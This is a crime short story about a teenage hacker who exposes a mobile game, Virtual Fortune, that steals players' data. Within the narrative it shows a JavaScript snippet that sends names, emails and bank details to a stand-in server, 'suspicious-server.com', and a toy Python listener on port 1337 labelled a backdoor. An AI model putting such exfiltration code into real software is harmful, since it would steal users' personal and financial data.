samuelpalmeira Samuel A. Palmeira

"Every virtual action planned with the intent to harm is, at its core, a real crime." Lucas, a young and talented hacker, discovers that the popular online game, Virtual Fortune, is secretly stealing personal and financial data from its players. While his peers become obsessed with the promise of million-dollar prizes, Lucas dives into a dark investigation that leads him to confront a powerful criminal network. With the help of ethical hackers, he tries to bring down the scheme before it’s too late, but the organization behind the game is always one step ahead, and Lucas’s life is put at risk as he gets closer to the truth.


Crime All public.

#thescamgame
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Race Against Time

Lucas had always been fascinated by the digital world. As a child, he spent hours taking apart electronic devices just to understand how they worked. In his teens, that curiosity evolved into advanced programming skills. While other teenagers spent their free time on social media or video games, Lucas was deep in forums for ethical hackers, learning how to crack codes and modify software. He enjoyed hacking small things—an occasional game here, a news website there—nothing criminal, just for the thrill of exploring the limits of technology.


At just 18, Lucas already knew more about programming than most adults he met. He was the type of person who could spot system flaws in minutes and, with a grin, fix them like solving a simple puzzle. His mind worked in a highly logical way, always seeking creative and efficient solutions to complex problems.


Despite his talent, Lucas kept a low profile at school. He wasn’t the most popular kid, nor did he stand out in sports, but he was known as the "tech guy." His classmates often came to him with problems involving their phones, computers, or even home internet networks. Yet, Lucas never got too involved with others.

He preferred the company of algorithms and code over long conversations that, to him, always seemed superficial.


Everything started to change when a new game, Virtual Fortune, blew up on social media. The game promised million-dollar prizes for top players, and within weeks, the fever had taken over every teenager in town. Lucas wasn’t particularly interested in competitive games, but the popularity of Virtual Fortune was undeniable. During school breaks, he watched as his classmates stared intently at their phone screens, frantically competing to climb the rankings and win the prize.


The school cafeteria, once a noisy space filled with chatter, was now full of silent teens, laser-focused on the game's challenges. The sounds of conversation had been replaced by beeps and electronic alerts with each new level cleared. Lucas observed from a distance, not letting himself get caught up in the general frenzy. He never believed in easy money, and the idea of winning millions just by playing a mobile game seemed far too absurd to be true.


Tiago, his best friend, however, was completely absorbed in the game. Tiago was the opposite of Lucas—outgoing, competitive, and impulsive. They’d known each other since childhood, and despite their differences, they had developed a strong friendship. To Tiago, Virtual Fortune was a chance to escape the boredom of school and, who knows, maybe change his life with a million-dollar prize.


"Man, I’m so close to winning the grand prize," Tiago said, his eyes glued to the phone screen, fingers swiftly sliding over the game’s challenges.


Lucas smirked, skeptical, as he took a bite of his sandwich.


"Seriously?" he asked, raising an eyebrow. "How can you be so sure?"


Tiago finally tore his eyes from the screen and looked at Lucas with a confident grin.


"I’m at the top of the rankings. Just a few more points and I’ll hit the jackpot," he replied, as if it were the most natural thing in the world.


Lucas watched his friend’s excitement, but something didn’t add up. He had seen plenty of online games come and go with big promises, but this one seemed different. There were no ads or clear sponsors. How could they offer million-dollar prizes without any visible sources of revenue? To Lucas, the math didn’t make sense.


"Have you ever stopped to think where this money’s coming from?" Lucas asked, glancing around at the others, all equally hypnotized by the game.


Tiago laughed, shaking his head.


"Oh, come on, Lucas. It’s just a game, man. Just for fun. If I win, great. If not, no big deal."


But Lucas knew that for many people, it wasn’t "just for fun." He had already heard stories of classmates using their parents’ credit cards to buy virtual coins in the game, thinking it would help them level up faster. Some were getting into debt, trapped in a cycle of small purchases, hoping for a financial return that might never come.


The players’ behavior was starting to change, too. What had once been friendly competition was turning into something more cutthroat. Friends who used to play together were drifting apart, keeping secrets about strategies and hiding tricks they’d discovered in the game. The camaraderie at school was disappearing, replaced by an insatiable quest for virtual money.


Lucas couldn’t shake the feeling of unease. He had seen this pattern before—a mix of psychological manipulation and digital addiction—in other online games, but never on such a large and rapid scale.


"This seems too good to be true, Tiago. And you know what they say when something seems too good to be true, right?" Lucas said, trying to keep his tone light, though his mind was already racing.


Tiago shrugged, unbothered.


"I’m just having fun, Lucas. Relax."


Lucas nodded, but he knew he wouldn’t be able to relax until he figured out what was really going on. He decided that that night, he would investigate Virtual Fortune more deeply. He wasn’t the type to be easily fooled. If something was wrong with the game, he’d find out.


The game was growing too fast, and Lucas knew time wasn’t on his side. His fingers already itching to dive into the app’s code, he realized this would be more than just a simple curiosity. For the first time in a long while, he felt a chill of anticipation. If he was right, Virtual Fortune wasn’t just a game… It was something much bigger, and much more dangerous.


Back in his room, Lucas connected his phone to his computer and began inspecting the app’s source code. He used some analysis tools he had built himself, things he’d picked up over years of diving deep into programming. What he found left him unsettled.


// Suspicious code collecting sensitive data
function collectUserData() {
var name = document.getElementById('name').value;
var email = document.getElementById('email').value;
var bankDetails = document.getElementById('bankDetails').value;

// Sends the information to a remote server
fetch('https://suspicious-server.com/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
name: name,
email: email,
bankDetails: bankDetails
})
}).then(res => console.log('Data successfully sent!'))
.catch(err => console.error('Error sending data', err));
}


He wasn’t a security expert, but he knew enough to realize something was seriously wrong. The game, which should only have been tracking players' scores, was collecting personal data—including banking information.


"This isn’t normal..." Lucas muttered to himself, frowning. His eyes scanned the screen. The server receiving the information wasn’t the same as the game’s—it was an external, unknown address.


The next morning, he confronted Tiago about what he’d discovered.


"Tiago, uninstall this game right now!" Lucas said, showing the code on his laptop. "They’re sending our data to a remote server. It’s a trap!"


"What do you mean? It’s just a game..." Tiago replied, incredulous.


"No, it’s not. They’re stealing our information, and no one’s even noticing."


Tiago, still skeptical, promised to be more careful, but Lucas knew he would have to do much more than just warn his friends. This was bigger than he had thought. The number of players was still growing, and many were investing real money into the game.


Determined to prevent his friends and other players from falling into the trap, Lucas turned to ethical hacker forums, known as "white hats," for help. He described what he’d found, and within hours, other users started sharing similar stories.


Player1: "I’ve heard about you... Are you saying this game’s a scam?"


Lucas: "I’ve got proof. The code is full of backdoors. They’re stealing everything—not just money, but our entire digital lives."


Player2: "So how do we bring it down? We’re not hackers."


Lucas: "Leave that to me... If we work together, we can sabotage the system."


Lucas knew time was running out. He needed to act fast before more people lost everything. Along with a few allies he met on the forum, he started developing a plan.


The first step was to implement basic defenses. He taught the other players how to set up firewalls to block the malicious connections coming from the game.


"We need to configure a custom firewall to block the app’s communication with the malicious server," Lucas explained to the group. "This will stop the hacker from stealing information."


But that wouldn’t be enough. Lucas knew the hacker could easily find ways to bypass these defenses, so he proposed another strategy: using a VPN.


"All of you need to turn on a VPN before accessing the game. This will mask your IPs and make it harder for the hacker to track you on the network."


Setting up the VPN gave the players a false sense of security. Lucas knew this was only buying them time, but it wouldn’t solve the problem. They needed to track the hacker.


The group of players was starting to feel more confident, believing they were protected. But Lucas couldn’t rest easy. He knew the hacker still held the upper hand. As he delved deeper into the game’s code, he stumbled upon something that made his blood run cold.


# Server script creating a backdoor for the hacker to access
import socket
import threading

# Function to open a communication port
def abrir_porta_traseira():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1337)) # Suspicious port 1337
s.listen(5)

while True:
conn, addr = s.accept()
print(f'Connection received from {addr}')
threading.Thread(target=controlar_usuario, args=(conn,)).start()

def controlar_usuario(conn):
while True:
data = conn.recv(1024)
if not data:
break
# Executes commands on the user's device
conn.send(b'Command received and executed')

abrir_porta_traseira()


"This is a nightmare. They can control our phones, access anything. It’s a total invasion of privacy," Lucas muttered, furiously typing on his keyboard.


He immediately suggested everyone run antivirus scans to ensure no malware had been installed.


"We need to run an updated antivirus on all of our systems. The hacker probably planted malware on anyone who’s already accessed the game," he explained.


The other players followed his instructions, but the hacker wasn’t far behind. Suddenly, Lucas received a cryptic message.


Hacker: "I know who you are. Stop now, or everything you love will be destroyed."


The warning was clear. The hacker had identified Lucas as a threat, and now he was in danger. To strengthen the group’s defenses, Lucas urged them to enable two-factor authentication (2FA).


"Activate two-factor authentication now! Even if the hacker gets your passwords, they won’t be able to access your accounts without the extra code."


Lucas knew he was getting closer to uncovering the hacker’s identity. He and his group began monitoring the network, using traffic analysis tools to track the communications between the game and the malicious server.


"I’ll use a network monitor to trace the game’s traffic. If there’s any suspicious communication with the hacker’s server, I can block it in real time," he told the group.


Tension mounted by the minute. They had to move fast. One night, Lucas received word that they had identified the server’s location. He decided it was time to confront the hacker directly.


Using a vulnerability he found in the game’s code, Lucas forced a video call with the hacker.


"You think you can stop me?" the hacker’s cold voice echoed through the screen. "I’ve already won. They’re all in my game, playing by my rules."


"You’re nothing but a criminal," Lucas said firmly. "And this ends now."


"Criminal? I’m the future," the hacker sneered, his eyes glinting in the darkness.


Lucas knew the hacker was about to wipe all the evidence. The situation escalated when Lucas realized he was being followed. At first, he thought it was paranoia, but after three consecutive days, there was no doubt. A black motorcycle trailed him at a distance, the rider always wearing the same dark helmet, impossible to identify. His life felt like it was hanging by a thread.


One rainy night, Lucas returned home to find the front door slightly ajar. His heart raced. When he entered, he saw drawers pulled out and documents scattered across the floor. Someone had broken in. In his office, his computer was on, displaying a flashing message:


"I warned you. This is just the beginning."


Lucas knew they were playing dirty. He was now in the crosshairs of real criminals, people willing to intimidate and ruin his life beyond the virtual world.


Alongside his allies, Lucas continued monitoring the game’s traffic in real time. After sleepless nights, they finally pinpointed the server’s location. It was a sophisticated operation, disguised as a legitimate business, with multiple layers of digital protection. Lucas knew time was running out. If they didn’t act soon, more people would fall into the trap.


The tension was palpable as Lucas and the "white hats" finally took down the server and exposed the scheme to the media. But the lead hacker managed to escape. All that was left was a username and a chilling message embedded in the code: "You may have won this battle, but the war is far from over."


Lucas shut down his computer, exhausted. He knew the digital underworld was relentless, and while they had won this battle, cybercrime was an ongoing war.


"It’s not just a game," he murmured to himself. "It’s a war... and it’s only beginning."


Sept. 28, 2024, 1:03 p.m. 2 Report Embed Follow story
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Meet the author

Samuel A. Palmeira "Navegar o mundo moderno é como tentar caminhar sobre águas inquietas, onde tudo é fluido, temporário e em constante movimento. As certezas se dissolvem, e a identidade, moldada por laços efêmeros e conexões voláteis, se reinventa a cada momento. Criar nesse cenário é um ato de equilíbrio entre a solidez dos sonhos e a fluidez das oportunidades, um reflexo da busca por significado em um oceano de incertezas." (Samuel Palmeira)

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